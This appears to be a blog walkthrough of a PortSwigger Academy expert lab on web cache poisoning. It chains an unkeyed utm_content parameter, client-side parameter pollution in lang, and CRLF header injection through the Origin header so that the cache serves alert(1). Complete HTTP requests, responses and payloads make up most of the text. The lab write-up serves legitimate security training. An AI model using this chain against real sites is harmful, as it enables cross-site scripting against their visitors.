Road to BSCP - Web Cache Poisoning

Road to BSCP - Web Cache Poisoning

Walkthrough of Burp Suite Academy labs on Web Cache Poisoning vulnerabilities

·

4 min read

Cache Key Injection (Expert)

This lab contains multiple independent vulnerabilities, including cache key injection. A user regularly visits this site's home page using Chrome.

To solve the lab, combine the vulnerabilities to execute alert(1) in the victim's browser. Note that you will need to make use of the Pragma: x-get-cache-key header in order to solve this lab.

To solve this lab, we will have to chain multiple vulnerabilities together that require us to be familiar with:

Cache Poisoning using unkeyed parameter utm_content

We issue a GET request to /login and pass a parameter named utm_content. We also append the Pragma: x-get-cache-key header that instructs the backend server to show the resulting cache key.

GET /login?lang=en&utm_content=asd HTTP/1.1
Host: {lab-id}.web-security-academy.net
Pragma: x-get-cache-key
Connection: close

We observe that we are able to control a redirection to Location via the utm_content parameter, which is also unkeyed (not part of the cache key).

HTTP/1.1 302 Found
Location: /login/?lang=en&utm_content=asd <-- 2. is also part of the 302 request
Vary: Origin
Set-Cookie: utm_content=asd; Secure; HttpOnly
Cache-Control: max-age=35
Age: 0
X-Cache-Key: /login?lang=en$$  <-- 1. "utm_content" is unkeyed
X-Cache: miss
Connection: close
Content-Length: 0

Client-side Parameter Polution in lang

Take note of the following import <script src='/js/localize.js?lang=en&cors=0'> when navigating to/login/.

We observe that the backend does not encode data passed in the lang parameter in the import statement. This allows us to inject a ? character and pollute any parameter. We append a fragment # to the request, so that the backend ignores the hard-coded cors value.

GET /login/?lang=en?utm_content=ignored%26cors=1%23 HTTP/1.1
Host: {lab-id}.web-security-academy.net
Pragma: x-get-cache-key
Connection: close
<!-- ... redacted ... -->
<script src='/js/localize.js?lang=en?utm_content=ignored&amp;cors=1#&cors=0'>

Response Header Injection in /js/localize.js

We notice that when Cross-origin Resource Sharing (CORS) is enabled: /localize.js?lang=en&cors=1, the backend will reflect any arbitrary Origin in the Access-Control-Allow-Origin response header.

This enables us to inject CRLF (carriage return, line-feed aka. %0d%0a) characters and inject arbitrary response headers:

GET /js/localize.js?lang=en&cors=1 HTTP/1.1
Host: {lab-id}.web-security-academy.net
Origin: x%0d%0aExploit:%201337%0d%0a
Pragma: x-get-cache-key
Connection: close
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Access-Control-Allow-Origin: x
Exploit: 1337
Cache-Control: max-age=35
Age: 0
X-Cache-Key: /js/localize.js?lang=en&cors=1$$Origin=x%0d%0aExploit:%201337%0d%0a
X-Cache: miss
Connection: close
Content-Length: 0

⚠️ Note that Origin is part of the Cache key and that $$ are parameter delimiters

Putting things together

We have all the necessary pieces to create our kill-chain. Let's try to put it into words first.

Knowing that Victim navigates to / and will be redirected to /login?lang=en, we need to:

  1. Poison the cache for /login?lang=en making sure the cache key matches /login?lang=en$$
  2. Poison the cache so that importing /js/localize.jsserves malicious JavaScript
  3. To achieve Step 2. we need to leverage the response header injection vulnerability, which requires CORS to be enabled cors=1
  4. To achieve Step 3. we can use the client-side parameter pollution vulnerability in lang to forcefully enable CORS.
  5. To achieve Step 4. we make use of the unkeyed parameter utm_content when poisoning /login?lang=en

If we take the kill-chain in reverse, first we write a poisoned JavaScript import that will trigger alert(1)

GET /js/localize.js?lang=en?utm_content=1&cors=1 HTTP/1.1
Host: 0aab0055031a607ac0200d6e00890054.web-security-academy.net
Pragma: x-get-cache-key
Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$
Connection: close

The Origin contains our header injection payload, appending the right Content-Length header to make sure the resulting request is valid HTTP.

Remember that Origin will be part of the cache key.

HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Access-Control-Allow-Origin: x
Cache-Control: max-age=35
Age: 12
X-Cache-Key: /js/localize.js?lang=en?cors=1$$Origin=x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$
X-Cache: hit
Connection: close
Content-Length: 8

alert(1)

To serve the request above, we need to enable CORS by polluting the cors parameter and poison the cache, making sure to hit the same Cache Key:

X-Cache-Key: /js/localize.js?lang=en?cors=1$$x\r\nContent-Length: 8\r\n\r\nalert(1)$$$$

X-Cache-Key: /js/localize.js?lang=en?cors=1$$x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$

To obtain this key, we need the Victim to perform the following request (special characters are double-encoded to prevent from breaking JS):

GET /login/?lang=en?utm_content=1%26cors=1$$Origin=x%250d%250aContent-Length%3a%25208%250d%250a%250d%250aalert(1)$$%23 HTTP/1.1
Host: {lab-id}.web-security-academy.net
Pragma: x-get-cache-key
Connection: close

This request can be obtained by poisoning the cache of /login and hit the /login?lang=en$$ Cache Key:

GET /login?lang=en?utm_content=1%26cors=1$$Origin=x%250d%250aContent-Length%3a%25208%250d%250a%250d%250aalert(1)$$%23 HTTP/1.1
Host: {lab-id}.web-security-academy.net
Pragma: x-get-cache-key
Connection: close
HTTP/1.1 302 Found
Location: /login/?lang=en?utm_content=1%26cors=1$$Origin=x%250d%250aContent-Length%3a%25208%250d%250a%250d%250aalert(1)$$%23
Vary: Origin
Cache-Control: max-age=35
Age: 2
X-Cache-Key: /login?lang=en$$
X-Cache: hit
Connection: close
Content-Length: 0

All that's left to do is to poison both requests at the same time

...Et voilà

image.png